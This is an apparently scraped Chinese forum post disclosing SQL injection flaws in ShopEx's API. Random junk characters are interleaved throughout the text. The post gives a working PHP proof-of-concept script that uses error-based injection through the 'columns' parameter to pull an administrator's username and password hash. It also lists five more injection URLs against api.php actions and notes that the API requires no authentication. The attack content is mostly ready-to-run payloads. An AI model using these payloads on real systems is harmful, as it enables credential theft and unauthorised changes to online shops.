|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
4 ?1 i+ Z: I# r9 T" m5 ecore\api\payment\1.0\api_b2b_2_0_payment_cfg.php, s! W9 h9 _! x; B
z7 x* F; z$ I( S+ n) |
第44行 $data['columns'] 未做过滤导致注入
' o- x. j. T0 u/ W+ E& ?/ Q ]& m: \& G$ `5 g, ^2 h- t
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
" ^3 e" I( k1 n/ Z
, m+ ?1 Y+ y- d+ r注射1:
& ]! u! X) B% N% d! p5 f, d. O; I. N% l
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
, G2 t% G" A: b& H r3 W; j/ D! y; g' o
注射2:
) v6 S4 i! P& a" U* z) P' Thttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}- s% A, |+ K6 L; }& U5 ~) a
* r0 _( R& M- y, V注射3:
4 _# u; S% V* ~5 U. O9 J http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
4 i, U& U, o, `4 V8 E! U' H8 o注射4:) y3 w% r- k6 C& D* n8 Z
- C# O' m7 V# \; F2 B4 Q: Q2 I2 p1 i+ bhttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
8 C2 M" ]! G) j! h& h+ N; E4 |9 \ O: o3 _7 I' M7 S
+ q! `- `7 y; r6 n4 |+ H
注射5:
7 u& {, R1 @. t7 F3 {$ b6 G http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx' \, m9 o7 ?" R8 i, `, |
( B9 }7 I; q4 Q3 }4 q0 B: Y1 a
" V3 q3 ]! k5 m3 F/ K$ V1 e
1 ?% F+ _' D/ h; Q( A, o
/ M6 b: U4 D+ C1 c; k& i$ n7 ~
+ C; U! Y! f; i) {
2 b @( f" u! z1 i P o% G |
|